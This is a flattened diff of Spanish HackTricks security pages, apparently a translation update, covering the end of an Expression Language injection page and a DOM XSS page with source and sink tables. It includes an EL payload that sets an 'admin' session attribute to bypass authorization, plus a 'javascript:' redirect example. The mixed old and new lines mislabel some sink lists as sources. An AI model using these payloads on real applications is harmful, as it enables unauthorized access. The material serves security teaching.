### Inspección del entorno ### Inspeccionando el entorno
* `applicationScope` - variables globales de la aplicación * `applicationScope` - variables globales de la aplicación
* `requestScope` - variables de la solicitud * `requestScope` - variables de solicitud
* `initParam` - variables de inicialización de la aplicación * `initParam` - variables de inicialización de la aplicación
* `sessionScope` - variables de sesión * `sessionScope` - variables de sesión
* `param.X` - valor del parámetro donde X es el nombre de un parámetro http * `param.X` - valor del parámetro donde X es el nombre de un parámetro http
@ -219,7 +222,7 @@ Necesitarás convertir estas variables a String como:
```bash ```bash
${sessionScope.toString()} ${sessionScope.toString()}
``` ```
#### Ejemplo de bypass de autorización #### Ejemplo de elusión de autorización
```bash ```bash
${pageContext.request.getSession().setAttribute("admin", true)} ${pageContext.request.getSession().setAttribute("admin", true)}
``` ```
@ -229,11 +232,11 @@ ${user}
${password} ${password}
${employee.FirstName} ${employee.FirstName}
``` ```
## Bypass de WAF ## WAF Bypass
Verifica [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/) Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## Referencias ## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -244,22 +247,25 @@ Verifica [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una empresa de **ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,25 +1,28 @@
# XSS del DOM # DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Vulnerabilidades del DOM ## Vulnerabilidades DOM
Las vulnerabilidades del DOM ocurren cuando los datos de **fuentes** controladas por atacantes (como `location.search`, `document.referrer` o `document.cookie`) se transfieren de manera insegura a **sumideros**. Los sumideros son funciones u objetos (por ejemplo, `eval()`, `document.body.innerHTML`) que pueden ejecutar o renderizar contenido dañino si se les proporcionan datos maliciosos. Las vulnerabilidades DOM ocurren cuando los datos de **fuentes** controladas por atacantes (como `location.search`, `document.referrer` o `document.cookie`) se transfieren de manera insegura a **sumideros**. Los sumideros son funciones u objetos (por ejemplo, `eval()`, `document.body.innerHTML`) que pueden ejecutar o renderizar contenido dañino si se les proporciona datos maliciosos.
* Las **fuentes** son entradas que pueden ser manipuladas por atacantes, incluidas las URL, las cookies y los mensajes web. * **Fuentes** son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y mensajes web.
* Los **sumideros** son puntos finales potencialmente peligrosos donde los datos maliciosos pueden provocar efectos adversos, como la ejecución de scripts. * **Sumideros** son puntos finales potencialmente peligrosos donde los datos maliciosos pueden llevar a efectos adversos, como la ejecución de scripts.
El riesgo surge cuando los datos fluyen desde una fuente hacia un sumidero sin una validación o saneamiento adecuados, lo que permite ataques como XSS. El riesgo surge cuando los datos fluyen de una fuente a un sumidero sin la validación o saneamiento adecuado, lo que permite ataques como XSS.
{% hint style="info" %} {% hint style="info" %}
**Puedes encontrar una lista más actualizada de fuentes y sumideros en** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **Puedes encontrar una lista más actualizada de fuentes y sumideros en** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
@ -42,12 +45,12 @@ sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database Database
``` ```
**Fuentes comunes:** **Common Sinks:**
| [**Redirección abierta**](dom-xss.md#open-redirect) | [**Inyección de Javascript**](dom-xss.md#javascript-injection) | [**Manipulación de datos del DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** | | [**Open Redirect**](dom-xss.md#open-redirect) | [**Javascript Injection**](dom-xss.md#javascript-injection) | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `location` | `eval()` | `scriptElement.src` | `add()` | | `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Constructor de Function()` | `scriptElement.text` | `after()` | | `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` | | `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` | | `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` | | `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
@ -56,46 +59,46 @@ Database
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
| `domElem.srcdoc` | **\`\`**[**Manipulación de ruta de archivo local**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | | `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | | `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
| **\`\`**[**Manipulación de solicitud Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | | **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**Manipulación de enlace**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `XMLHttpRequest.send()` | [**Link manipulation**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Inyección de JSON en el lado del cliente**](dom-xss.md#client-side-sql-injection) | | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Manipulación de almacenamiento HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**Inyección de XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`Denegación de servicio`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulación de cookies**](dom-xss.md#cookie-manipulation) | | **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Manipulación de dominio de documento**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**Envenenamiento de URL de WebSocket**](dom-xss.md#websocket-url-poisoning) | | `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning) |
| [**Inyección de SQL en el lado del cliente**](dom-xss.md#client-side-sql-injection) | [**Manipulación de mensajes web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection) | [**Web-message manipulation**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` | | `executeSql()` | `postMessage()` | \`\` | \`\` |
La fuente **`innerHTML`** no acepta elementos `script` en ningún navegador moderno, ni se activarán eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe. El **`innerHTML`** sink no acepta elementos `script` en ningún navegador moderno, ni se activarán eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe`.
Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas revisar el código JS, ver si está **utilizando** algún objeto cuyo **valor puedas controlar**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario. Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas mirar dentro del código JS, ver si está **usando** algún objeto cuyo **valor controlas**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario.
## Herramientas para encontrarlos ## Tools to find them
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) * [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* Extensión del navegador para verificar cada dato que llega a un posible sumidero: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) * Extensión de navegador para verificar cada dato que llega a un sink potencial: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## Ejemplos ## Examples
### Redirección abierta ### Open Redirect
Desde: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) De: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
Las **vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sumidero capaz de iniciar la navegación entre dominios. **Las vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
Es crucial entender que ejecutar código arbitrario, como **`javascript:alert(1)`**, es posible si tienes control sobre el inicio de la URL donde ocurre la redirección. Es crucial entender que ejecutar código arbitrario, como **`javascript:alert(1)`**, es posible si tienes control sobre el inicio de la URL donde ocurre la redirección.
Sumideros: Sinks:
```javascript ```javascript
location location
location.host location.host
@ -115,21 +118,21 @@ $.ajax()
``` ```
### Manipulación de cookies ### Manipulación de cookies
Desde: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
Las vulnerabilidades de manipulación de cookies basadas en DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede llevar a un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El principal punto de fuga asociado con esta vulnerabilidad es: Las vulnerabilidades de manipulación de cookies basadas en DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede llevar a un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El sumidero principal asociado con esta vulnerabilidad es:
Puntos de fuga: Sinks:
```javascript ```javascript
document.cookie document.cookie
``` ```
### Inyección de JavaScript ### Inyección de JavaScript
Desde: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
Las vulnerabilidades de inyección de JavaScript basadas en el DOM se crean cuando un script ejecuta datos, los cuales pueden ser controlados por un atacante, como código JavaScript. Las vulnerabilidades de inyección de JavaScript basadas en DOM se crean cuando un script ejecuta datos, que pueden ser controlados por un atacante, como código JavaScript.
Sumideros: Sinks:
```javascript ```javascript
eval() eval()
Function() constructor Function() constructor
@ -142,47 +145,47 @@ msSetImmediate()
range.createContextualFragment() range.createContextualFragment()
crypto.generateCRMFRequest() crypto.generateCRMFRequest()
``` ```
### Manipulación de document-domain ### Manipulación del dominio del documento
Desde: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
Las vulnerabilidades de **manipulación de document-domain** ocurren cuando un script establece la propiedad `document.domain` utilizando datos que un atacante puede controlar. **Las vulnerabilidades de manipulación del dominio del documento** ocurren cuando un script establece la propiedad `document.domain` utilizando datos que un atacante puede controlar.
La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de la misma procedencia** por parte de los navegadores. Cuando dos páginas de orígenes diferentes establecen su `document.domain` en el **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** en los valores asignables a `document.domain`, evitando la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Normalmente, los navegadores permiten el uso de **dominios secundarios** o **padre**. La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de mismo origen** por parte de los navegadores. Cuando dos páginas de diferentes orígenes establecen su `document.domain` al **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** en los valores asignables a `document.domain`, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Típicamente, los navegadores permiten el uso de **dominios** **hijos** o **padres**.
Fuentes: Sinks:
```javascript ```javascript
document.domain document.domain
``` ```
### Envenenamiento de URL de WebSocket ### WebSocket-URL poisoning
Desde: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
El **envenenamiento de URL de WebSocket** ocurre cuando un script utiliza **datos controlables como la URL de destino** para una conexión WebSocket. **WebSocket-URL poisoning** ocurre cuando un script utiliza **datos controlables como la URL objetivo** para una conexión WebSocket.
Fuentes: Sinks:
El constructor `WebSocket` puede llevar a vulnerabilidades de envenenamiento de URL de WebSocket. El constructor `WebSocket` puede llevar a vulnerabilidades de WebSocket-URL poisoning.
### Manipulación de enlaces ### Link manipulation
Desde: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
Las **vulnerabilidades de manipulación de enlaces basadas en DOM** surgen cuando un script escribe **datos controlables por el atacante en un destino de navegación** dentro de la página actual, como un enlace clickeable o la URL de envío de un formulario. **Las vulnerabilidades de manipulación de enlaces basadas en DOM** surgen cuando un script escribe **datos controlables por el atacante en un objetivo de navegación** dentro de la página actual, como un enlace clicable o la URL de envío de un formulario.
Fuentes: Sinks:
```javascript ```javascript
someDOMElement.href someDOMElement.href
someDOMElement.src someDOMElement.src
someDOMElement.action someDOMElement.action
``` ```
### Manipulación de solicitud Ajax ### Manipulación de solicitudes Ajax
Desde: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
Las vulnerabilidades de manipulación de solicitud Ajax surgen cuando un script escribe datos controlables por el atacante en una solicitud Ajax que se emite utilizando un objeto `XmlHttpRequest`. **Las vulnerabilidades de manipulación de solicitudes Ajax** surgen cuando un script escribe **datos controlables por el atacante en una solicitud Ajax** que se emite utilizando un objeto `XmlHttpRequest`.
Fuentes: Sinks:
```javascript ```javascript
XMLHttpRequest.setRequestHeader() XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open() XMLHttpRequest.open()
@ -190,13 +193,13 @@ XMLHttpRequest.send()
jQuery.globalEval() jQuery.globalEval()
$.globalEval() $.globalEval()
``` ```
### Manipulación de ruta de archivo local ### Manipulación de rutas de archivos locales
Desde: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
Las **vulnerabilidades de manipulación de ruta de archivo local** surgen cuando un script pasa **datos controlados por el atacante a una API de manejo de archivos** como parámetro `filename`. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si es visitada por otro usuario, podría llevar a que el **navegador del usuario abra o escriba un archivo local arbitrario**. **Las vulnerabilidades de manipulación de rutas de archivos locales** surgen cuando un script pasa **datos controlables por el atacante a una API de manejo de archivos** como el parámetro `filename`. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si es visitada por otro usuario, podría llevar a que **el navegador del usuario abra o escriba un archivo local arbitrario**.
Fuentes: Sinks:
```javascript ```javascript
FileReader.readAsArrayBuffer() FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString() FileReader.readAsBinaryString()
@ -206,11 +209,11 @@ FileReader.readAsFile()
FileReader.root.getFile() FileReader.root.getFile()
FileReader.root.getFile() FileReader.root.getFile()
``` ```
### Inyección de SQL en el lado del cliente ### Inyección SQL del lado del cliente
Desde: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
Las **vulnerabilidades de inyección de SQL en el lado del cliente** ocurren cuando un script incorpora **datos controlados por el atacante en una consulta de SQL en el lado del cliente de una manera insegura**. **Las vulnerabilidades de inyección SQL del lado del cliente** ocurren cuando un script incorpora **datos controlables por el atacante en una consulta SQL del lado del cliente de manera insegura**.
Sinks: Sinks:
```javascript ```javascript
@ -218,31 +221,31 @@ executeSql()
``` ```
### Manipulación de almacenamiento HTML5 ### Manipulación de almacenamiento HTML5
Desde: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
Las vulnerabilidades de **manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlados por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Si bien esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en el DOM, como la ejecución de scripts entre sitios e inyección de JavaScript. **Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
Sumideros: Sinks:
```javascript ```javascript
sessionStorage.setItem() sessionStorage.setItem()
localStorage.setItem() localStorage.setItem()
``` ```
### Inyección de XPath ### Inyección XPath
Desde: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) De: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
Las vulnerabilidades de **inyección de XPath basadas en el DOM** ocurren cuando un script incorpora **datos controlados por el atacante en una consulta XPath**. **Las vulnerabilidades de inyección XPath basadas en DOM** ocurren cuando un script incorpora **datos controlables por el atacante en una consulta XPath**.
Fuentes: Sinks:
```javascript ```javascript
document.evaluate() document.evaluate()
someDOMElement.evaluate() someDOMElement.evaluate()
``` ```
### Inyección de JSON en el lado del cliente ### Inyección de JSON del lado del cliente
Desde: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) De: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
Las vulnerabilidades de **inyección de JSON basadas en el DOM** ocurren cuando un script incorpora **datos controlados por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación**. **Las vulnerabilidades de inyección de JSON basadas en DOM** ocurren cuando un script incorpora **datos controlables por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación**.
Sinks: Sinks:
```javascript ```javascript
@ -252,21 +255,21 @@ $.parseJSON()
``` ```
### Manipulación de mensajes web ### Manipulación de mensajes web
Desde: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
Las vulnerabilidades de **mensajes web** surgen cuando un script envía **datos controlados por el atacante como un mensaje web a otro documento** dentro del navegador. Un **ejemplo** de manipulación de mensajes web vulnerable se puede encontrar en la [Academia de Seguridad Web de PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). **Las vulnerabilidades de mensajes web** surgen cuando un script envía **datos controlables por el atacante como un mensaje web a otro documento** dentro del navegador. Un **ejemplo** de manipulación de mensajes web vulnerable se puede encontrar en [la Academia de Seguridad Web de PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
Fuentes: Sinks:
